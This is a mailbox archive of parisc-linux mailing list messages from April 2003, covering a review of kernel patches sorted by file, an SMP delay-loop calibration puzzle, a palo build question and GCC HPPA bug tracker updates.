>  drivers/scsi/sym53c8xx.c                          |   44 
>  drivers/scsi/sym53c8xx_2/sym_glue.c               |   14 
>  drivers/scsi/sym53c8xx_2/sym_hipd.c               |   35 
>  drivers/scsi/sym53c8xx_defs.h                     |   83 
	All of these sym53c8xx changes have been blessed by Gerard Roudier.
	He's the maintainer. Please submit.

>  drivers/sound/ad1889.c                            |    2 
	parisc specific.

>  drivers/video/Config.in                           |   14 
>  drivers/video/dummycon.c                          |   10 
>  drivers/video/sstfb.c                             |  114 
	parisc specific.

>  fs/Makefile                                       |    1 
>  fs/binfmt_elf.c                                   |  288 -
>  fs/exec.c                                         |   97 
>  fs/open.c                                         |   22 
>  fs/read_write.c                                   |   40 
>  include/asm-generic/xor.h                         |  378 +
>  include/asm-m68k/machdep.h                        |    4 
>  include/asm-m68k/rtc.h                            |   50 
	I expect these are upstream changes

>  include/asm-parisc/checksum.h                     |   26 
...
	parisc specific.
	(logo was updated among other things)

>  include/linux/binfmts.h                           |    2 
...
	Need to review if the remaining diff are upstream or our changes.
	I suspect most are upstream.

> (hmm don't remember if linux_logo is of mine dpkg install or a new one in
> our tree :)

new one in our tree.

hth - thanks!
grant


From - Thu Nov 08 21:27:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Strange delay loop calibration with SMP kernel on UP system
Date: Sat, 12 Apr 2003 18:58:02 +0200
Organization: ESIEE
Lines: 44
Approved: news@gmane.org
Message-ID: <20030412185802.0dd509bf.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622379 24586 80.91.229.3 (22 Nov 2014 02:12:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 12 10:58:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (e202.dhcp212-198-142.noos.fr [212.198.142.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id BD8AC4829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 12 Apr 2003 10:58:04 -0600 (MDT)
Original-Received: from Tatooine.r3z0 (varenet@Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (8.12.8/8.12.7) with SMTP id h3CGw2H8017279
	for <parisc-linux@lists.parisc-linux.org>; Sat, 12 Apr 2003 18:58:03 +0200
X-Mailer: Sylpheed version 0.8.10claws13 (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18233

Hi pa-ckers!

As I was working on 2.5 SMPness on our A500, tausq suggested me to try SMP
kernel on a UP box.
So I deconfigured one CPU on the A500.

The kernel failed miserably, and I rebooted the box with its _original 2.4
SMP kernel_, _without bringing the second CPU back online_.

I repeat: i booted the box with the 2.4 SMP kernel it used to run with 2
CPUs. That's 2.4.20-pa28 fwiw.

What a surprise!

The delay loop calibration gave a completely different value than what I'd
have expected according to previous boots.

see:

A500 configured with 2 CPUs:
Calibrating delay loop... 1097.72 BogoMIPS

A500 configured with 1 CPU:
Calibrating delay loop... 366.18 BogoMIPS

Please mind I'm not talking about "total bogomips".
I'm talking about the calibration that takes place at the very early stage
of the boot process, on 1 CPU (the monarch on SMP systems).

So that has nothing to do with having half bogomips because there's half
processors.

That being said, one would have noticed that 1097.72/366.18 ~= 3

Now I wonder, is that normal (I couldn't check on another arch), or is
that some kind of new and unknown bug?

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:27:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Still having raid issues
Date: Sat, 12 Apr 2003 10:43:51 -0700 (PDT)
Lines: 38
Approved: news@gmane.org
Message-ID: <20030412174351.35287.qmail@web12502.mail.yahoo.com>
References: <20030407164421.GI8473@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-481996723-1050169431=:34686"
X-Trace: ger.gmane.org 1416622379 24588 80.91.229.3 (22 Nov 2014 02:12:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 12 11:43:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12502.mail.yahoo.com (web12502.mail.yahoo.com [216.136.173.194])
	by dsl2.external.hp.com (Postfix) with SMTP id 0194D4829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 12 Apr 2003 11:43:56 -0600 (MDT)
Original-Received: from [24.159.216.248] by web12502.mail.yahoo.com via HTTP; Sat, 12 Apr 2003 10:43:51 PDT
In-Reply-To: <20030407164421.GI8473@sleepie.demon.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18234

--0-481996723-1050169431=:34686
Content-Type: text/plain; charset=us-ascii

I am compiling on PARISC.
derek
Richard Hirst <rhirst@linuxcare.com> wrote:On Mon, Apr 07, 2003 at 07:43:51AM -0700, Derek Engelhaupt wrote:
> Ok, still having the same Raid creation issues from last week. The
> only thing I can thing of is that my Make of the new CVS palo is
> screwy. First time outside of class that I've actually had to install
> something from source so I included my make below. What bothers me is
> the error that it can't stat iplboot. I'm assuming that the iplboot

iplboot is only built if you compile on parisc, iirc. The debian source
debian/pool/main/p/palo/palo_1.2.tar.gz contains iplboot, and there are
i386 palo debs for 1.2 in the archive too, if that's what you want.

Richard

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


---------------------------------
Do you Yahoo!?
Yahoo! Tax Center - File online, calculators, forms, and more
--0-481996723-1050169431=:34686
Content-Type: text/html; charset=us-ascii

<DIV>I am compiling on PARISC.<BR></DIV>
<DIV>derek</DIV>
<DIV><BR><B><I>Richard Hirst &lt;rhirst@linuxcare.com&gt;</I></B> wrote:</DIV>
<BLOCKQUOTE style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #1010ff 2px solid">On Mon, Apr 07, 2003 at 07:43:51AM -0700, Derek Engelhaupt wrote:<BR>&gt; Ok, still having the same Raid creation issues from last week. The<BR>&gt; only thing I can thing of is that my Make of the new CVS palo is<BR>&gt; screwy. First time outside of class that I've actually had to install<BR>&gt; something from source so I included my make below. What bothers me is<BR>&gt; the error that it can't stat iplboot. I'm assuming that the iplboot<BR><BR>iplboot is only built if you compile on parisc, iirc. The debian source<BR>debian/pool/main/p/palo/palo_1.2.tar.gz contains iplboot, and there are<BR>i386 palo debs for 1.2 in the archive too, if that's what you want.<BR><BR>Richard<BR><BR>___________________
 ____________________________<BR>parisc-linux mailing list<BR>parisc-linux@lists.parisc-linux.org<BR>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</BLOCKQUOTE><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://us.rd.yahoo.com/finance/mailsig/*http://tax.yahoo.com">Yahoo! Tax Center</a> - File online, calculators, forms, and more
--0-481996723-1050169431=:34686--


From - Thu Nov 08 21:27:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Sat, 12 Apr 2003 20:30:14 +0000
Lines: 304
Approved: news@gmane.org
Message-ID: <3E987756.3000900@tiscali.be>
References: <20030410155223.GA5254@dsl2.external.hp.com> <3E8AE87E0000567E@ocpmta2.freegates.net> <20030411155850.GA2795@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622379 24590 80.91.229.3 (22 Nov 2014 02:12:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 12 14:19:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0AA124829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 12 Apr 2003 14:19:43 -0600 (MDT)
Original-Received: from [62.235.172.221] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 194RSv-0005jc-00; Sat, 12 Apr 2003 22:19:19 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030327 Debian/1.3-4
X-Accept-Language: en
In-Reply-To: <20030411155850.GA2795@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18235

Grant Grundler wrote:

>On Fri, Apr 11, 2003 at 07:40:32AM +0200, Joel Soete wrote:
>  
>
>>Here is the rough diffstat (still have to reverse ql driver patches, I will
>>try to find time this week-end :) )
>>    
>>
>
>cool - let me add some general comments.
>You might break the diff up into chunks along the lines that
>I've commented on them below. You should end up with something like
>15-20 patches.
>
>  
>
>> Documentation/Configure.help                      |   90 
>>    
>>
>	I expect parisc-specific changes here.
>
>  
>
1) CONFIG_HP_SDC (parisc specific)
2) Serial MUX and PDC support (parisc specific)
3) Generic Real Time Clock Support ?
4) CONFIG_IOMMU_CCIO (parisc specific)

>> Makefile                                          |   16 
>>    
>>
>	Don't submit the Makefile unless you are sure we need it.
>
>  
>
>> arch/m68k/config.in                               |    5 
>>    
>>
>...
>	Don't submit m68k - Marcello should be ahead here.
>  
>
Clearly

>  
>
>> arch/parisc/config.in                             |    6 
>>    
>>
>...
>	parisc specific (our tree is authoritative)
>	Need to review for changes in Marcelo's tree.
>	I expect Marcello to take the mess as-is if there
>	are no conflicts.
>
>  
>
>> drivers/char/Config.in                            |    3 
>>
>> drivers/char/Makefile                             |    2 
>>
+if [ "$CONFIG_PARISC" = "y" ]; then
+   bool 'Generic RTC device support' CONFIG_GENRTC
+fi

>> drivers/char/pty.c                                |    4 
>>
gcc-3.2 barier workaround

>> drivers/char/serial.c                             |  115 
>>    
>>
>	Diva Support? If so, that's common to parisc/ia64.
>
yes (for this last)

>
>  
>
>> drivers/gsc/dino.c                                |    9 
>>    
>>
>	parisc specific.
>
>  
>
>> drivers/ide/pci/ns87415.c                         |    8 
>> drivers/ide/setup-pci.c                           |    2 
>>    
>>
>	Suckyio support. This probably needs to go to Andre Hedrick.
>
>  
>
>> drivers/net/acenic.c                              |    5 
>>    
>>
>	Jes Sorensen has all my changes for this driver.
>	Jes, can you compare Marcello's tree with ours?
>	(and please make sure Marcello gets the latest?)
>
>  
>
>> drivers/net/lasi_82596.c                          |    2 
>>    
>>
>	parisc specific
>
>  
>
>> drivers/net/pcnet32.c                             |   26 
>>    
>>
>	Dunno.
>  
>
* v1.27c Sat Apr 13 2002 Helge Deller <deller@gmx.de>
* typo-fixes & cleanups

>> drivers/net/tulip/eeprom.c                        |    3 
>>
?? should be wrong merge (have to test on a b180 and examine compile 
logs :(( )

>> drivers/net/tulip/media.c                         |   29 
>>    
>>
>	Jeff Garzik has blessed changes I've made here.
>	I expect this to be about the PHY reset and media table changes
>	for card-mode Dino (rbrad's changes).
>
Yes (for this last)

>
>  
>
>> drivers/net/wireless/airo.c                       |    7 
>>    
>>
>	Fixes from Lamont. He's not the maintainer but the card should
>	now work under parisc-linux. He's got one running in a B180.
>
>  
>
>> drivers/pci/quirks.c                              |    3 
>>    
>>
>	upstream changes.
>
>  
>
>> drivers/pci/setup-bus.c                           |   37 
>>    
>>
>	I expect this is the bridge_ctl field I added using
>	Russell King's patch (arm/pci maintainer). This probably
>	can NOT go in as-is. If the bulk of the other changes
>	go in, I'll deal with this.
>
>  
>
>> drivers/scsi/Config.in                            |   57 
>> drivers/scsi/Makefile                             |   15 
>>    
>>
>	Added qla2xxx
>
>  
>
>> drivers/scsi/cpqfcTScontrol.c                     |   45 
>> drivers/scsi/cpqfcTSi2c.c                         |    3 
>> drivers/scsi/cpqfcTSinit.c                        |   12 
>> drivers/scsi/cpqfcTSstructs.h                     |    4 
>> drivers/scsi/cpqfcTSworker.c                      |    2 
>>    
>>
>	These are my cleanups so one can load/unload the module 
>	without crashing the system. TL chips (5100/5166) should
>	work but HP XL2 HBAs do not - need more work to read the serial
>	PROM and pull the GBIC info/WWW id out.  I haven't tested
>	this on ia64, only parisc.
>
>	This is an orphan'd driver.  I talked to the current maintainers
>	and they just don't have time to work on it.
>
Hmm I also just exchange a short mail with him and the idea was that it 
would be better to re-write completely this driver (without any doc and 
not yet enough knowledge on writing driver, I abandon the idea to work 
on, sorry)

> This is the same
>	group that supports cciss driver (SmartArray cards).
>	I've submitted these changes about 2 months ago. 
>
>	See http://sourceforge.net/projects/cpqfc.
>  
>
>> drivers/scsi/ncr53c8xx.c                          |  341 +
>>    
>>
>	rhirst changes for zalon support?
>
>  
>
>> drivers/scsi/qla2xxx/Config.in                    |    6 
>> drivers/scsi/qla2xxx/Makefile                     |   13 
>>    
>>
>...
>	"New" driver. This is the released qla2xxx v6.0.4 from Qlogic.
>	Works on ia64 (weekend of hazard testing) but not quite on parisc.
>	At least it doesn't crash parisc. I have a card installed in
>	an a500 if someone has time to poke at this some more.
>  
>
(is ql we used on some of our Sun could work also on parisc? if yes my 
pb would be to convince our _new_ HP engineer to put one in the N I 
spoke about elsewhre ;?)

>  
>
>> drivers/scsi/sym53c8xx.c                          |   44 
>> drivers/scsi/sym53c8xx_2/sym_glue.c               |   14 
>> drivers/scsi/sym53c8xx_2/sym_hipd.c               |   35 
>> drivers/scsi/sym53c8xx_defs.h                     |   83 
>>    
>>
>	All of these sym53c8xx changes have been blessed by Gerard Roudier.
>	He's the maintainer. Please submit.
>
>  
>
>> drivers/sound/ad1889.c                            |    2 
>>    
>>
>	parisc specific.
>
>  
>
>> drivers/video/Config.in                           |   14 
>> drivers/video/dummycon.c                          |   10 
>> drivers/video/sstfb.c                             |  114 
>>    
>>
>	parisc specific.
>
>  
>
>> fs/Makefile                                       |    1 
>> fs/binfmt_elf.c                                   |  288 -
>> fs/exec.c                                         |   97 
>> fs/open.c                                         |   22 
>> fs/read_write.c                                   |   40 
>> include/asm-generic/xor.h                         |  378 +
>> include/asm-m68k/machdep.h                        |    4 
>> include/asm-m68k/rtc.h                            |   50 
>>    
>>
>	I expect these are upstream changes
>
>  
>
>> include/asm-parisc/checksum.h                     |   26 
>>    
>>
>...
>	parisc specific.
>	(logo was updated among other things)
>
>  
>
>> include/linux/binfmts.h                           |    2 
>>    
>>
>...
>	Need to review if the remaining diff are upstream or our changes.
>	I suspect most are upstream.
>
>  
>
>>(hmm don't remember if linux_logo is of mine dpkg install or a new one in
>>our tree :)
>>    
>>
>
>new one in our tree.
>
>hth - thanks!
>grant
>
>  
>
Ok I will examine deepely the rest.

I already had a ruby script which help me to 'split' a patch into 'per 
file' patch so I could easily re-merge some one together as all you mark 
me parisc specific, ...

I will  try to submit a first draft next week,
     Joel




From - Thu Nov 08 21:27:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: danglin@gcc.gnu.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: target/10272: [3.0/3.2/3.3/3.4] [HP-PA] Floating point args not correctly loaded for function calls
Date: 12 Apr 2003 21:17:27 -0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20030412211727.20852.qmail__47109.4743036248$1416622380$gmane$org@sources.redhat.com>
Reply-To: danglin@gcc.gnu.org, danglin@gcc.gnu.org,
	debian-gcc@lists.debian.org, gcc-bugs@gcc.gnu.org,
	gcc-prs@gcc.gnu.org, nobody@gcc.gnu.org,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org,
	gcc-gnats@gcc.gnu.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622380 24594 80.91.229.3 (22 Nov 2014 02:13:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:00 +0000 (UTC)
To: danglin@gcc.gnu.org, debian-gcc@lists.debian.org,
	gcc-bugs@gcc.gnu.org, gcc-prs@gcc.gnu.org, nobody@gcc.gnu.org,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 12 15:17:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sources.redhat.com (sources.redhat.com [66.187.233.205])
	by dsl2.external.hp.com (Postfix) with SMTP id 9C23B4829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 12 Apr 2003 15:17:28 -0600 (MDT)
Original-Received: (qmail 20853 invoked by uid 48); 12 Apr 2003 21:17:27 -0000
X-Mailer: gnatsweb 2.9.3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18236

Synopsis: [3.0/3.2/3.3/3.4] [HP-PA] Floating point args not correctly loaded for function calls

Responsible-Changed-From-To: unassigned->danglin
Responsible-Changed-By: danglin
Responsible-Changed-When: Sat Apr 12 21:17:27 2003
Responsible-Changed-Why:
    Assignment.
State-Changed-From-To: open->closed
State-Changed-By: danglin
State-Changed-When: Sat Apr 12 21:17:27 2003
State-Changed-Why:
    Some problem as 10271.

http://gcc.gnu.org/cgi-bin/gnatsweb.pl?cmd=view%20audit-trail&database=gcc&pr=10272


From - Thu Nov 08 21:27:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: danglin@gcc.gnu.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: target/10271: [3.0/3.2/3.3/3.4] [HPPA] Floating point args don't get reloaded across function calls at -O2
Date: 12 Apr 2003 21:47:57 -0000
Lines: 23
Approved: news@gmane.org
Message-ID: <20030412214757.29214.qmail__40754.7094081112$1416622380$gmane$org@sources.redhat.com>
Reply-To: danglin@gcc.gnu.org, danglin@gcc.gnu.org,
	gcc-bugs@gcc.gnu.org, gcc-prs@gcc.gnu.org, nobody@gcc.gnu.org,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org,
	gcc-gnats@gcc.gnu.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622380 24599 80.91.229.3 (22 Nov 2014 02:13:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:00 +0000 (UTC)
To: danglin@gcc.gnu.org, gcc-bugs@gcc.gnu.org, gcc-prs@gcc.gnu.org,
	nobody@gcc.gnu.org, parisc-linux@lists.parisc-linux.org,
	tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 12 15:47:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sources.redhat.com (sources.redhat.com [66.187.233.205])
	by dsl2.external.hp.com (Postfix) with SMTP id 63C124829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 12 Apr 2003 15:47:58 -0600 (MDT)
Original-Received: (qmail 29215 invoked by uid 48); 12 Apr 2003 21:47:57 -0000
X-Mailer: gnatsweb 2.9.3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18237

Synopsis: [3.0/3.2/3.3/3.4] [HPPA] Floating point args don't get reloaded across function calls at -O2

Responsible-Changed-From-To: unassigned->danglin
Responsible-Changed-By: danglin
Responsible-Changed-When: Sat Apr 12 21:47:57 2003
Responsible-Changed-Why:
    Assignment.
State-Changed-From-To: open->analyzed
State-Changed-By: danglin
State-Changed-When: Sat Apr 12 21:47:57 2003
State-Changed-Why:
    Confirmed.
    
    There is a problem with the usage notes for argument registers in sibling calls when an argument needs to be passed in both general and floating point registers.  The usage notes appear correct in the initial rtl but the note for the general general register for the third argument of the fprintf call is being dropped.  This causes the insns which load these argument registers to be deleted.
    
    Correct code is generated if the -fno-optimize-sibling-calls option is specified.  The first fprintf call behaves correctly because it isn't a sibling call.
    
    More analysis is needed to determine why usage notes are being dropped in sibling calls.
    
    This is a regression as sibcalls were first enabled on this port in 3.1 branch.

http://gcc.gnu.org/cgi-bin/gnatsweb.pl?cmd=view%20audit-trail&database=gcc&pr=10271


From - Thu Nov 08 21:27:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: danglin@gcc.gnu.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: target/10237: [3.2 regression] [HPPA] Internal compiler error in insn_default_length, at insn-attrtab.c:1203
Date: 12 Apr 2003 22:24:29 -0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20030412222429.8647.qmail__41711.2377159812$1416622380$gmane$org@sources.redhat.com>
Reply-To: danglin@gcc.gnu.org, danglin@gcc.gnu.org,
	debian-gcc@lists.debian.org, gcc-bugs@gcc.gnu.org,
	gcc-prs@gcc.gnu.org, nobody@gcc.gnu.org,
	parisc-linux@lists.parisc-linux.org, rbradetich@uswest.net,
	gcc-gnats@gcc.gnu.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622380 24603 80.91.229.3 (22 Nov 2014 02:13:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:00 +0000 (UTC)
To: danglin@gcc.gnu.org, debian-gcc@lists.debian.org,
	gcc-bugs@gcc.gnu.org, gcc-prs@gcc.gnu.org, nobody@gcc.gnu.org,
	parisc-linux@lists.parisc-linux.org, rbradetich@uswest.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 12 16:24:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sources.redhat.com (sources.redhat.com [66.187.233.205])
	by dsl2.external.hp.com (Postfix) with SMTP id B43FC4829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 12 Apr 2003 16:24:29 -0600 (MDT)
Original-Received: (qmail 8648 invoked by uid 48); 12 Apr 2003 22:24:29 -0000
X-Mailer: gnatsweb 2.9.3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18238

Synopsis: [3.2 regression] [HPPA] Internal compiler error in insn_default_length, at insn-attrtab.c:1203

Responsible-Changed-From-To: unassigned->danglin
Responsible-Changed-By: danglin
Responsible-Changed-When: Sat Apr 12 22:24:28 2003
Responsible-Changed-Why:
    Assignment.
State-Changed-From-To: open->closed
State-Changed-By: danglin
State-Changed-When: Sat Apr 12 22:24:28 2003
State-Changed-Why:
    The code is illegal.  A return statement without an expression can only appear in a function whose return type is void.
    
    The ICE is fixed in 3.3.

http://gcc.gnu.org/cgi-bin/gnatsweb.pl?cmd=view%20audit-trail&database=gcc&pr=10237


From - Thu Nov 08 21:27:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] some 2.5 kernel profile data
Date: Sun, 13 Apr 2003 22:22:48 -0700
Lines: 120
Approved: news@gmane.org
Message-ID: <20030414052248.GG25257@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622381 24604 80.91.229.3 (22 Nov 2014 02:13:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
